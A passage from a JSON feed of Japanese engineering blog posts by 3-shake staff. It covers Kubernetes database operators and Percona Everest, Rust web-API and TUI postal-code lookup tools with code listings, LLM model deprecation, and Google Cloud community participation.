Operationを簡素化する上で重要な役割を果たすことが説明されています。Operatorは、データベース管理者の負担を軽減し、運用効率を向上させる強力なツールです。これはデータベースエンジニアといわれるロールが採用市場に少ない日本では特に重要な点です。大規模なデータベース運用に合わせてデータベースエンジニアの採用を増やすことは難しいため、様々なツールを利用して負荷を下げ、省力化し、より本質的な業務を行う必要があるためです。一方でOperatorだけではDBaaSの全てをカバーできない点にも注意が必要です。Chapter 3: Hope and DBaaS: Percona Everestの紹介Percona Everestは、オープンソースのDBaaSソリューションであり、Kubernetes上でデータベースサービスを提供します。ReactとMaterial UIで構築された直感的なUI、Golangで実装されたバックエンド、そしてAPIによるアクセスを提供することで、ユーザーフレンドリーな操作性を実現しています。Everestのアーキテクチャは、複数のOperatorをOperator Managerで管理する構造を採用しています。これにより、Operatorのバージョン管理、依存関係の解決、相互運用性の確保が容易になります。ユーザーは、GUIまたはAPIを介してデータベースサービスを操作し、そのリクエストはEverest Operatorによって各データベースOperatorに変換されます。Everestは、オープンソースDBaaSとして、ベンダーロックインを回避し、柔軟なデータベース運用を可能にします。また、コミュニティベースの開発により、迅速な機能追加とバグ修正が期待できます。この章では、Percona EverestがオープンソースDBaaSとして、Kubernetes上でデータベースサービスを提供する仕組みが説明されています。Everestは、ユーザーフレンドリーなUI、Operator ManagerによるOperator管理、そしてオープンソースとしてのメリットを提供することで、柔軟で効率的なデータベース運用を支援します。セッション中ではGUIやAPIは利用しない導入例もあると話されており、個人的にはKubernetesリソースの管理に余計なUIを追加する方法は大規模化したときにデメリットが増えるのではないかと感じました。またこのセッションのスピーカーはPerconaのエンジニアであるためある程度ポジショントークが含まれているであろうことも注意が必要です。Epilogue: Kubernetesとデータベースの未来セッションの締めくくりとして、Kubernetes上でのデータベース運用は困難な側面もあるものの、OperatorやDBaaSソリューションの活用により、効率的でスケーラブルな運用が可能になることが強調されています。Kubernetes上でデータベースを運用することは、もはや一部の先進的な企業だけの選択肢ではなく、一般的な選択肢になりつつあります。クラウドネイティブな環境でデータベースを運用することは、ビジネスの俊敏性と競争力を高める上で重要な要素となります。Kubernetes上でのデータベース運用に対する不安や懸念を解消し、その可能性を示す上で非常に有益な内容でした。Percona EverestのようなオープンソースDBaaSソリューションの登場は、Kubernetesにおけるデータベース運用の楽にする選択肢の一つと言えるでしょう。まとめこのセッションを通して、Kubernetes上でのデータベース運用は、進化を続け、成熟しつつあることが理解できました。初期の懸念は解消されつつあり、OperatorやDBaaSソリューションの登場により、運用効率とスケーラビリティが大幅に向上しています。特に定型的なデプロイと運用を自動化できることでデータベースエンジニアはアプリケーション特性に応じた最適化やリリースマネジメントといったユーザーに価値を提供することを最大化することに注力することができます。今後、Kubernetes上でのデータベース運用はさらに普及し、クラウドネイティブなアプリケーション開発の中核を担うことになるでしょう。一定以上の規模の組織ではオンプレ回帰やクラウドコストの最小化といった観点からKubernetes上にデータベースをホストするソリューションが求められ生ます。そのためデータベースエンジニアは、Kubernetesの基礎知識を習得し、OperatorやDBaaSソリューションの活用方法を学ぶことで、より効率的で本質的な業務を遂行できるようになるはずです。","isoDate":"2024-12-08T02:42:58.000Z","dateMiliSeconds":1733625778000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"バッチ処理をCloud RunからCloud Run jobsに変更してみた話","link":"https://qiita.com/bayobayo0324/items/71f7e19a051261d1adfc","contentSnippet":"この記事は3-shake Advent Calendar 2024 シリーズ1の8日目の記事ですはじめましてあるいはこんにちは、@bayobayo0324 です。株式会社スリーシェイクでクラウド…","isoDate":"2024-12-07T22:06:20.000Z","dateMiliSeconds":1733609180000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"私とJagu\'e\'rと2025年から...","link":"https://blog.masasuzu.net/entry/2024/12/08/000000","contentSnippet":"この記事はJagu\'e\'r Advent Calendar 2024の8日目の記事です。日付的には大遅刻です。特に技術的な話はしません。思い出話とこれからの意気込みを書きます。Jagu\'e\'r(Japan Google Cloud Usergroup for Enterprise) は、Google Cloudのユーザー企業やパートナー企業が集まるユーザー会です。私はパートナー企業であるスリーシェイクに所属し、Jagu\'e\'rに参加しています。実は入会自体は結構前で、メールを遡ると2023年8月10日でした。当時Google Cloudに関わる案件が始まり、情報収集のために登録した記憶があります。しかし、「Enterprise」や「分科会」といった言葉から、何となく堅苦しいイメージを抱いてしまい、Slackには入ったものの、あまり活動には参加していませんでした。転機が訪れたのは、今年2024年の春から夏頃のこと。同僚が分科会の運営に入り、別の同僚もJagu\'e\'rのMeetupで発表するようになったんです。身近な人が関わるようになると、自然と興味が湧いてきて、今年の後半はオンライン・オフライン問わず、Meetupに参加するようになりました。そして先日、Jagu\'e\'r Park \'24 Winter!に参加しました。そこで行われたJagu\'e\'r Award選出のためのピッチ発表に、私は深く感銘を受けました。どの発表者の方も、Jagu\'e\'rコミュニティへの熱い思いや感謝の気持ちが溢れていて、本当に心を動かされました。特に、中外製薬の方とDatadogの方のピッチは強く印象に残っています。これまでJagu\'e\'rコミュニティに深く関わってきませんでしたが、こんなにも熱い思いを持つ人たちと一緒に活動したい!という気持ちが湧き上がってきました。「善は急げ」と、ピッチを聞いたその場で、社内でJagu\'e\'rの分科会運営に携わっている人に連絡を取り、運営を手伝えないか相談しました。さらに懇親会では、弊社担当のGoogle Cloudパートナーエンジニアの方にも相談し、同じ分科会の運営の方につなげてもらいました。問題がなければ、来年から某分科会の運営に携わる予定です。正直なところ、勢いで走り出した部分もあるので、まだ何ができるか、何をしていきたいかは漠然としています。それでも、来年はコミュニティの活性化に貢献できるような成果を残せるよう、精一杯頑張りたいと思っています。","isoDate":"2024-12-07T15:00:00.000Z","dateMiliSeconds":1733583600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Lima+containerd+nerdctlで作るコンテナ環境/lima_containerd_nerdctl","link":"https://speakerdeck.com/moz_sec_/lima-containerd-nerdctl-1","contentSnippet":"","isoDate":"2024-12-07T05:00:00.000Z","dateMiliSeconds":1733547600000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"セキュアな LLM アプリ開発:OWASP Top 10 for LLM 2025 と Vertex AI による実践","link":"https://zenn.dev/kimitsu/articles/owasp-for-llm-2025-and-vertex-ai","contentSnippet":"本記事は 3-shake Advent Calendar 2024 シリーズ 1 の 7 日目の記事です。 はじめにOWASP Top 10 for LLM Applications の 2025 年版が 11 月 18 日に発表されました。[1]OWASP Top 10 は Web アプリケーションのセキュリティリスクの中で最も重要な 10 個をリスト化したものであり、OWASP Top 10 for LLM Applications は名前の通り LLM を利用したアプリケーションに関するものです。本家は数年に一度の改訂ですが、こちらは LLM の技術進歩が早いためほぼ毎年...","isoDate":"2024-12-07T00:14:53.000Z","dateMiliSeconds":1733530493000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"CUDAを利用したプログラムの高速化とNvidia Container Toolkit","link":"https://sreake.com/blog/cuda-nvidia-container-toolkit/","contentSnippet":"はじめに Sreake事業部インターン生の高島陸斗です。インターン生としてSRE技術の調査・検証を行っています。私は、情報系の大学院生で、普段は数値解析に関する研究をしています。学部時代は、今回のブログ内容とも関係する並 […]The post CUDAを利用したプログラムの高速化とNvidia Container Toolkit first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-06T01:51:20.000Z","dateMiliSeconds":1733449880000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「SRE Kaigi 2025」にスリーシェイクのエンジニアが登壇","link":"https://sreake.com/blog/sre_kaigi_2025/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、2025年1月26日(日)に開催される「SRE Kaigi 2025」にセッション登壇することをお知らせします。The post 「SRE Kaigi 2025」にスリーシェイクのエンジニアが登壇 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-05T01:00:00.000Z","dateMiliSeconds":1733360400000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rustによる郵便番号検索API (yubin_api) の技術解説","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/04/233641","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 7日目の記事です!qiita.comはじめにRustを使用したWebアプリケーション開発は、高いパフォーマンスと堅牢性を両立させる方法として注目を集めています。本記事では、日本の郵便番号システムにアクセスするRESTful API「yubin_api」の実装を通じて、Rustの実践的な開発手法を解説します。workspace_2024/yubin_api at main \xb7 nwiizo/workspace_2024 \xb7 GitHubこのプロジェクトでは、axumを使用したWebサーバーの構築、非同期プログラミング(async/await)、構造化されたエラーハンドリングを実装しています。また、プロダクション環境を想定したメトリクス収集とモニタリング、型安全なAPIデザインにも焦点を当てています。ちなみに元ライブラリーの実装についてはsyumai さんの実装を全面的に参考にさせていただいております。blog.syum.ai1. プロジェクトの構成まず、Cargo.tomlの依存関係から見ていきましょう:[dependencies]# Webフレームワーク関連axum = { version = \\"0.7\\", features = [\\"macros\\"] } # Webフレームワークtokio = { version = \\"1.0\\", features = [\\"full\\"] } # 非同期ランタイムtower = { version = \\"0.4\\", features = [\\"full\\"] } # HTTPサービス抽象化tower-http = { version = \\"0.5\\", features = [\\"cors\\", \\"trace\\", \\"limit\\", \\"request-id\\"] }# ロギングと監視tracing = \\"0.1\\" # ログ出力tracing-subscriber = \\"0.3\\" # ログ設定metrics = \\"0.21\\" # メトリクス収集metrics-exporter-prometheus = \\"0.12\\" # Prometheus形式出力# シリアライズ/デシリアライズserde = { version = \\"1.0\\", features = [\\"derive\\"] }serde_json = \\"1.0\\"# ユーティリティthiserror = \\"1.0\\" # エラー定義uuid = { version = \\"1.0\\", features = [\\"v4\\"] } # ユニークID生成utoipa = { version = \\"4.1\\", features = [\\"uuid\\"] } # OpenAPI生成# 郵便番号データベースjpostcode_rs = \\"0.1.3\\"2. エラー処理の実装(error.rs)エラー処理は、APIの信頼性を確保する重要な部分です:use axum::{ http::StatusCode, response::{IntoResponse, Response}, Json,};use thiserror::Error;use tracing::warn;// APIのエラー型を定義#[derive(Debug, Error)]pub enum ApiError { #[error(\\"Invalid postal code format\\")] InvalidPostalCode, #[error(\\"Address not found\\")] NotFound, #[error(\\"Internal server error: {0}\\")] Internal(String),}// エラーをHTTPレスポンスに変換する実装impl IntoResponse for ApiError { fn into_response(self) -> Response { // エラーの種類に応じてステータスコードを設定 let (status, error_message) = match self { ApiError::InvalidPostalCode => (StatusCode::BAD_REQUEST, self.to_string()), ApiError::NotFound => (StatusCode::NOT_FOUND, self.to_string()), ApiError::Internal(ref e) => { // 内部エラーはログに記録 warn!(\\"Internal server error: {}\\", e); ( StatusCode::INTERNAL_SERVER_ERROR, \\"Internal server error\\".to_string(), ) } }; // JSONレスポンスの構築 let body = Json(serde_json::json!({ \\"error\\": error_message, \\"status\\": status.as_u16(), // エラー追跡用のユニークID \\"request_id\\": uuid::Uuid::new_v4().to_string() })); (status, body).into_response() }}3. データモデルの定義(models.rs)APIで使用するデータ構造を定義します:use serde::{Deserialize, Serialize};// 住所情報のレスポンス構造体#[derive(Debug, Serialize, Deserialize, utoipa::ToSchema)]pub struct AddressResponse { pub postal_code: String, pub prefecture: String, pub prefecture_kana: String, pub prefecture_code: i32, pub city: String, pub city_kana: String, pub town: String, pub town_kana: String, pub street: Option, pub office_name: Option, pub office_name_kana: Option,}// jpostcode_rsのAddress型からの変換を実装impl From for AddressResponse { fn from(addr: jpostcode_rs::Address) -> Self { AddressResponse { postal_code: addr.postcode, prefecture: addr.prefecture, prefecture_kana: addr.prefecture_kana, prefecture_code: addr.prefecture_code, city: addr.city, city_kana: addr.city_kana, town: addr.town, town_kana: addr.town_kana, street: addr.street, office_name: addr.office_name, office_name_kana: addr.office_name_kana, } }}// 住所検索用のクエリ構造体#[derive(Debug, Deserialize, utoipa::ToSchema)]pub struct AddressQuery { pub query: String, #[serde(default = \\"default_limit\\")] pub limit: usize,}// デフォルトの検索結果制限数fn default_limit() -> usize { 10}4. メトリクス収集の設定(metrics.rs)アプリケーションのパフォーマンスを監視するためのメトリクス設定:use metrics::{describe_counter, describe_histogram, register_counter, register_histogram};use metrics_exporter_prometheus::PrometheusBuilder;pub fn setup_metrics() { // リクエスト数のカウンター describe_counter!( \\"yubin_api_postal_lookups_total\\", \\"Total number of postal code lookups\\" ); describe_counter!( \\"yubin_api_address_searches_total\\", \\"Total number of address searches\\" ); // レスポンス時間のヒストグラム describe_histogram!( \\"yubin_api_postal_lookup_duration_seconds\\", \\"Duration of postal code lookups in seconds\\" ); describe_histogram!( \\"yubin_api_address_search_duration_seconds\\", \\"Duration of address searches in seconds\\" ); // メトリクスの登録 register_counter!(\\"yubin_api_postal_lookups_total\\"); register_counter!(\\"yubin_api_address_searches_total\\"); register_histogram!(\\"yubin_api_postal_lookup_duration_seconds\\"); register_histogram!(\\"yubin_api_address_search_duration_seconds\\"); // Prometheusレコーダーの設定 PrometheusBuilder::new() .install() .expect(\\"Failed to install Prometheus recorder\\");}Rustの知っておいたほうがいいポイント解説(前編)属性マクロの使用#[derive(...)]: 自動実装の導入#[error(...)]: エラーメッセージの定義#[serde(...)]: シリアライズ設定トレイトの実装From: 型変換の実装IntoResponse: HTTPレスポンスへの変換Error: カスタムエラー型の定義ジェネリクスとライフタイムOption: 省略可能な値の表現Result: エラーハンドリングVec: 可変長配列の使用型システムの活用カスタム構造体の定義列挙型によるエラー表現デフォルト値の実装Rust初学者のためのyubin_api実装解説 - 後編5. APIルートの実装(routes.rs)APIの実際のエンドポイントを実装します:use axum::{extract::Path, http::StatusCode, response::IntoResponse, Json};use metrics::{counter, histogram};use tracing::info;// ヘルスチェックエンドポイントpub async fn health_check() -> impl IntoResponse { StatusCode::OK}// 郵便番号検索エンドポイントpub async fn lookup_by_postal_code( Path(code): Path, // URLパスからパラメータを取得) -> Result>, ApiError> { // リクエストのログ記録 info!(\\"Looking up postal code: {}\\", code); // メトリクスのカウントアップ counter!(\\"yubin_api_postal_lookups_total\\", 1); // 処理時間の計測開始 let start = std::time::Instant::now(); // 郵便番号検索の実行 let result = jpostcode_rs::lookup_address(&code).map_err(|e| match e { jpostcode_rs::JPostError::InvalidFormat => ApiError::InvalidPostalCode, jpostcode_rs::JPostError::NotFound => ApiError::NotFound, })?; // 処理時間の計測と記録 let duration = start.elapsed().as_secs_f64(); histogram!(\\"yubin_api_postal_lookup_duration_seconds\\", duration); // 結果の返却 Ok(Json(result.into_iter().map(Into::into).collect()))}// 住所検索エンドポイントpub async fn search_by_address( Json(query): Json, // リクエストボディからのJSONパース) -> Result>, ApiError> { info!(\\"Searching address with query: {}\\", query.query); // 入力値の検証 if query.query.trim().is_empty() { return Err(ApiError::InvalidPostalCode); } counter!(\\"yubin_api_address_searches_total\\", 1); let start = std::time::Instant::now(); // 住所検索の実行 let mut results: Vec = jpostcode_rs::search_by_address(&query.query) .into_iter() .map(Into::into) .collect(); // 結果数の制限適用 results.truncate(query.limit); let duration = start.elapsed().as_secs_f64(); histogram!(\\"yubin_api_address_search_duration_seconds\\", duration); Ok(Json(results))}6. メインアプリケーションの実装(main.rs)アプリケーションのエントリーポイントとサーバーの設定:use axum::{routing::{get, post}, Router};use std::net::SocketAddr;use tower::ServiceBuilder;use tower_http::{ cors::{Any, CorsLayer}, trace::{DefaultMakeSpan, DefaultOnResponse, TraceLayer},};use tracing::info;#[tokio::main]async fn main() { // ロギングの初期化 tracing_subscriber::fmt() .with_env_filter( tracing_subscriber::EnvFilter::try_from_default_env() .unwrap_or_else(|_| \\"yubin_api=debug,tower_http=debug\\".into()), ) .init(); // メトリクス収集の初期化 setup_metrics(); // リクエストトレース設定 let trace_layer = TraceLayer::new_for_http() .make_span_with(DefaultMakeSpan::new().include_headers(true)) .on_response(DefaultOnResponse::new().include_headers(true)); // CORS設定 let cors = CorsLayer::new() .allow_methods(Any) .allow_headers(Any) .allow_origin(Any); // ルーターの設定 let app = Router::new() .route(\\"/health\\", get(health_check)) .route(\\"/postal/:code\\", get(lookup_by_postal_code)) .route(\\"/address/search\\", post(search_by_address)) .layer(ServiceBuilder::new() .layer(trace_layer) .layer(cors)); // サーバーアドレスの設定 let addr = SocketAddr::from(([127, 0, 0, 1], 3000)); info!(\\"Server listening on {}\\", addr); // サーバーの起動 let listener = tokio::net::TcpListener::bind(addr).await.unwrap(); axum::serve(listener, app).await.unwrap();}7. 重要な実装パターンの解説非同期処理// 非同期関数の定義pub async fn lookup_by_postal_code(...) -> Result<...> { // 非同期処理の実行 let result = jpostcode_rs::lookup_address(&code)?; // ...}// 非同期ランタイムの設定#[tokio::main]async fn main() { // ...}エラーハンドリング// Result型を使用したエラー処理let result = jpostcode_rs::lookup_address(&code).map_err(|e| match e { JPostError::InvalidFormat => ApiError::InvalidPostalCode, JPostError::NotFound => ApiError::NotFound,})?;ミドルウェアの構成let app = Router::new() .route(...) .layer(ServiceBuilder::new() .layer(trace_layer) .layer(cors));8. API使用例郵便番号による検索curl http://localhost:3000/postal/1000001レスポンス例:[ { \\"postal_code\\": \\"1000001\\", \\"prefecture\\": \\"東京都\\", \\"city\\": \\"千代田区\\", \\"town\\": \\"千代田\\", ... }]住所による検索curl -X POST http://localhost:3000/address/search \\\\ -H \\"Content-Type: application/json\\" \\\\ -d \'{\\"query\\": \\"東京都千代田区\\", \\"limit\\": 10}\'9. Rustの知っておいたほうがいいポイント解説(後編)非同期プログラミングasync/awaitの使用方法tokioランタイムの理解非同期関数の定義と呼び出しエラーハンドリングパターンResult型の活用エラー変換のベストプラクティスエラーの伝播(?演算子)HTTPサーバーの実装ルーティング設定ミドルウェアの活用リクエスト/レスポンスの処理テスト可能な設計モジュール分割依存性の分離エラー処理の一貫性おわりにyubin_apiの実装を通じて、Rustによる実践的なWeb API開発の全体像を見てきました。このプロジェクトでは、カスタムエラー型の定義や型安全なデータ変換、トレイトの実装といった堅牢な型システムの活用を行いました。また、tokioによる非同期ランタイムやasync/awaitの効果的な使用、エラーハンドリングとの統合などの非同期プログラミングの実践も重要な要素となっています。さらに、メトリクス収集や構造化ログ、エラートラッキングといった運用面の考慮など、重要な概念と技術を学ぶことができました。このプロジェクトは、単なる郵便番号検索APIの実装を超えて、Rustの実践的な使用方法と、プロダクション品質のWebサービス開発の基本を学ぶ良い例となっています。","isoDate":"2024-12-04T14:36:41.000Z","dateMiliSeconds":1733323001000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"構造化ログのスキーマを考えてみる","link":"https://blog.atusy.net/2024/12/04/log-schema/","contentSnippet":"ログ設計初心者なりに、分析しやすいログってなにかなと考えてみた。","isoDate":"2024-12-04T00:00:00.000Z","dateMiliSeconds":1733270400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"argocd コマンドで別ブランチとの差分を確認する","link":"https://qiita.com/yteraoka/items/aea03d50288375f85183","contentSnippet":"ArgoCD の GitOps で Merge 前に manifest の差分を見たいArgoCD は Application リソースで source に指定した Git などの定義と実際に K…","isoDate":"2024-12-03T15:14:17.000Z","dateMiliSeconds":1733238857000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"LLMのモデル更新や廃止による影響を考える","link":"https://shu-kob.hateblo.jp/entry/2024/12/03/232856","contentSnippet":"この記事は、MLOps(LLMOps、生成AIOps) Advent Calendar 2024 4日目の記事です。生成AIの普及により、アプリケーションに組み込んで実運用を始めた方も増えてきたと思います。LLMOpsをする中で気をつけたいことを考えてみました。モデルの更新まず、思い浮かぶのがモデルの更新よる影響です。モデルの更新によって性能が上がるなどのメリットを享受できる反面、挙動変更によって、困ることもあります。私の場合、システムの実運用では無いですが、LLM技術書のサンプルコードが動かなくなる事態がありました。06_agent/agent_5.py で2回目の実行結果が正しく表示されません \xb7 Issue #3 \xb7 harukaxq/langchain-book \xb7 GitHubgpt-3.5-turboをAgentとして使用したときの挙動が変わったという内容です。アプリに組み込んでいたら、機能が使えなくなる可能性があり、使えなくなった場合の代替案も用意しておく必要があると考えました。また、LLMのリリース情報もウォッチしておく必要があるでしょう。Geminiはリリースの最新情報を日本語で提供しています。gemini.google.comChatGPTはリリースノートを英語のみですが提供しています。ChatGPT — Release Notes | OpenAI Help CenterAnthropic製品(Claude)のリリースノートは日本語で提供されています。docs.anthropic.comモデルの廃止モデルの廃止もウォッチする必要があるでしょう。GPT-3.5 Turbo終了はニュースになりました。xtech.nikkei.com↑日経クロステックの有料会員記事ですが、会員でなくても1ページ目で内容は把握できます。learn.microsoft.comAzure OpenAIでは、GPTの各種マイナーバージョンが提供されていますが、適宜廃止になるので注意が必要です。廃止になる場合、モデルのVersion UPが必要なので、早めに開発環境でVersion UPしたモデルの挙動確認をする必要があるでしょう。Version UPしたモデルだと、LLMの利用料が高くなることも念頭に置いて、コスト試算しましょう。まとめモデル更新や廃止を早く知るために、LLM公式サイトのリリースノートなどのウォッチをして、早めに対策をしましょう。","isoDate":"2024-12-03T14:28:56.000Z","dateMiliSeconds":1733236136000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Rustで郵便番号・住所検索TUIツールを開発した - jposta","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/03/230030","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 5日目の記事です!qiita.comはじめにこんにちは!jposta を紹介させてください。jpostaは、日本の郵便番号・住所をターミナルから手軽に検索できるTUIツール \uD83D\uDD0D です。Rustで書かれており ⚡、使いやすさを重視してリアルタイム検索を実装しました \uD83D\uDDA5️。jposta の動作イメージ元ライブラリーの実装についてはsyumai さんの実装を全面的に参考にさせていただいております。美しい実装すぎて震えました。blog.syum.ai機能紹介この小さなツールでは、郵便番号から住所の簡単検索 \uD83C\uDFE0 はもちろん、住所からの郵便番号検索 \uD83D\uDD22 もラクラクできます。入力しながらサクサク表示されるリアルタイム検索 ⚡ や、キーボードだけでスイスイ操作 ⌨️ が可能で、スクロールもサクサク動き \uD83D\uDCDC、もちろん日本語もバッチリ対応 \uD83D\uDDFE しています。ぜひGitHubをチェックしてみてください!github.comインストールcargo install --git https://github.com/nwiizo/jpostaもしくはcargo install jpostaこちら、みんなだいすきcrate.ioにちゃんとあげました。https://crates.io/crates/jposta基本操作Tab: 郵便番号/住所検索モード切替↑↓: 結果スクロールEsc: 終了検索モード郵便番号検索数字を入力すると自動で該当する住所を表示部分一致対応(\\"100\\"で始まる郵便番号すべて等)住所検索漢字やかなで住所を入力部分一致対応(\\"渋谷\\"等)Rustでの実装解説1. 基本構造の定義#[derive(Clone)]enum InputMode { Postal, // 郵便番号検索 Address, // 住所検索}struct App { input: String, results: Vec, input_mode: InputMode, scroll_state: ScrollbarState, scroll_position: u16, search_tx: mpsc::Sender, result_rx: mpsc::Receiver>,}InputModeは検索モードを表す列挙型です。Cloneトレイトを導出することで、値のコピーが可能になります。App構造体はアプリケーションの状態を管理します。input: 現在の入力文字列results: 検索結果の配列input_mode: 現在の検索モードscroll_stateとscroll_position: スクロール状態の管理search_txとresult_rx: スレッド間通信用のチャンネル2. アプリケーションの初期化impl App { fn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { let mut last_query = String::new(); let mut input_mode = InputMode::Postal; while let Ok(query) = search_rx.recv() { // 検索処理(後述) } }); App { input: String::new(), results: Vec::new(), input_mode: InputMode::Postal, scroll_state: ScrollbarState::default(), scroll_position: 0, search_tx, result_rx, } }}new()関数では、2つのチャンネルを作成(検索クエリ用と結果用)検索処理を行うワーカースレッドを起動初期状態のAppインスタンスを返す3. 検索処理の実装// 検索スレッド内の処理if query.starts_with(\\"MODE_CHANGE:\\") { input_mode = match &query[11..] { \\"postal\\" => InputMode::Postal, _ => InputMode::Address, }; continue;}if query == last_query { continue; }last_query = query.clone();if query.is_empty() { let _ = result_tx.send(Vec::new()); continue;}thread::sleep(Duration::from_millis(100));let results = match input_mode { InputMode::Postal => lookup_addresses(&query) .map(|addresses| { addresses .into_iter() .map(|addr| addr.formatted_with_kana()) .collect() }) .unwrap_or_default(), InputMode::Address => search_by_address(&query) .into_iter() .map(|addr| addr.formatted_with_kana()) .collect(),};let _ = result_tx.send(results);検索処理では、モード変更メッセージの確認と処理重複クエリのスキップ空クエリの即時処理ディバウンス処理(100ms)モードに応じた検索実行結果の送信4. UIとイベント処理fn main() -> io::Result<()> { enable_raw_mode()?; let mut stdout = stdout(); execute!(stdout, EnterAlternateScreen)?; let backend = CrosstermBackend::new(stdout); let mut terminal = Terminal::new(backend)?; let mut app = App::new(); loop { app.check_results(); terminal.draw(|f| { let chunks = Layout::default() .direction(Direction::Vertical) .constraints([ Constraint::Length(3), Constraint::Min(0) ]) .split(f.size()); // 入力欄の描画 let input_block = Block::default() .title(match app.input_mode { InputMode::Postal => \\"郵便番号検索\\", InputMode::Address => \\"住所検索\\", }) .borders(Borders::ALL); let input = Paragraph::new(app.input.as_str()) .block(input_block) .style(Style::default().fg(Color::Yellow)); f.render_widget(input, chunks[0]); // 結果表示の描画 let results_block = Block::default() .title(format!(\\"検索結果 ({} 件)\\", app.results.len())) .borders(Borders::ALL); let results = Paragraph::new(app.results.join(\\"\\\\n\\")) .block(results_block) .scroll((app.scroll_position, 0)); f.render_widget(results, chunks[1]); })?; // キー入力処理 if let Event::Key(key) = event::read()? { match key.code { KeyCode::Char(c) => { app.input.push(c); app.search(); } KeyCode::Backspace => { app.input.pop(); app.search(); } KeyCode::Up => app.scroll_up(), KeyCode::Down => app.scroll_down(), KeyCode::Tab => app.change_mode(match app.input_mode { InputMode::Postal => InputMode::Address, InputMode::Address => InputMode::Postal, }), KeyCode::Esc => break, _ => {} } } } // 終了処理 execute!(terminal.backend_mut(), LeaveAlternateScreen)?; disable_raw_mode()?; Ok(())}UIとイベント処理では、ターミナルの初期化メインループ検索結果の確認画面描画キー入力処理終了時のクリーンアップ5. 補助機能の実装impl App { fn search(&mut self) { let _ = self.search_tx.send(self.input.clone()); } fn check_results(&mut self) { if let Ok(new_results) = self.result_rx.try_recv() { self.results = new_results; self.scroll_position = 0; self.scroll_state = ScrollbarState::new(self.results.len()); } } fn scroll_up(&mut self) { self.scroll_position = self.scroll_position.saturating_sub(1); } fn scroll_down(&mut self) { if !self.results.is_empty() { self.scroll_position = self .scroll_position .saturating_add(1) .min((self.results.len() as u16).saturating_sub(1)); } } fn change_mode(&mut self, mode: InputMode) { self.input_mode = mode; let mode_str = match self.input_mode { InputMode::Postal => \\"postal\\", InputMode::Address => \\"address\\", }; let _ = self.search_tx.send(format!(\\"MODE_CHANGE:{}\\", mode_str)); self.input.clear(); self.results.clear(); }}補助機能として、1. 検索リクエストの送信2. 検索結果の確認と更新3. スクロール処理4. モード切替処理これらの機能により、スムーズな検索体験を実現しています。使用ライブラリratatui: TUI(テキストユーザーインターフェース)フレームワークcrossterm: ターミナル操作ライブラリjpostcode_rs: 郵便番号データ処理ライブラリRust学習リソース1. 基礎学習The Rust Programming Language - 公式ガイドブックRust by Example - 実例で学ぶRustRustlings - 対話型学習ツール2. 基本概念構造体(Structs)列挙型(Enums)メソッド実装3. メモリ管理所有権システム参照と借用4. 言語機能パターンマッチングクロージャ5. エラー処理と型システムエラー処理Result型境界チェック演算子さいごにこのプロジェクトは、Rustの実践的な学習と日本の住所システムへの理解を深める良い機会となりました \uD83D\uDCDA。非同期処理やTUIの実装を通じて、Rustの強力な型システムと安全性を活かしたコーディングを実践できました ⚡。ぜひ使ってみて、フィードバックをいただければ幸いです \uD83D\uDE4F。プルリクエストも大歓迎です \uD83C\uDF89!ソースコード\uD83E\uDD80GitHub - jposta","isoDate":"2024-12-03T14:00:30.000Z","dateMiliSeconds":1733234430000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"退屈なことはRust Build Scripts にやらせよう","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/03/143149","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 3日目の記事です!qiita.comはじめにRustのビルドスクリプト(build.rs)は、コンパイル前のデータ処理や環境設定を自動化する強力なツールです。しかし、大いなる力には、大いなる責任が伴います。コードの生成、リソースの最適化、プラットフォーム固有の設定管理など、ビルド時の様々なタスクを効率的に処理できます。今回は、そのユースケースの1つとして、郵便番号データを処理するビルドスクリプトの実装を詳しく解説します。この例を通じて、build.rsの基本的な使い方から実践的な活用方法まで、段階的に理解を深めていきましょう。doc.rust-lang.orgはじめにユースケース:郵便番号データの処理実装の全体像実装の詳細解説1. ファイル変更の監視設定2. パスの設定3. データの処理4. 結果の出力生成したデータの利用方法1. アプリケーションでのデータ読み込み2. 検索機能の実装build.rsの主要な機能1. 環境変数の設定2. リンカ設定3. コードの生成実践的な利用シーン1. 設定ファイルの統合と生成2. プロトコル定義ファイルの生成3. アセットファイルの埋め込み4. データベースマイグレーションファイルの統合参考資料まとめユースケース:郵便番号データの処理このビルドスクリプトは、複数のJSONファイルに分散された郵便番号データを1つのファイルにマージする処理を行います。github.com実装の全体像use serde_json::Value;use std::collections::HashMap;use std::fs;use std::path::Path;use walkdir::WalkDir;fn main() { println!(\\"cargo:rerun-if-changed=jpostcode-data/data/json\\"); let json_dir = Path::new(\\"jpostcode-data/data/json\\"); let out_dir = std::env::var(\\"OUT_DIR\\").unwrap(); let dest_path = Path::new(&out_dir).join(\\"address_data.json\\"); let mut merged_data = HashMap::new(); // ... データ処理ロジック ...}実装の詳細解説1. ファイル変更の監視設定println!(\\"cargo:rerun-if-changed=jpostcode-data/data/json\\");この行は、指定したディレクトリ内のファイルが変更された場合にのみビルドスクリプトを再実行するように設定します。これにより、不必要なビルド時間を削減できます。2. パスの設定let json_dir = Path::new(\\"jpostcode-data/data/json\\");let out_dir = std::env::var(\\"OUT_DIR\\").unwrap();let dest_path = Path::new(&out_dir).join(\\"address_data.json\\");json_dir: 入力となるJSONファイルが格納されているディレクトリout_dir: 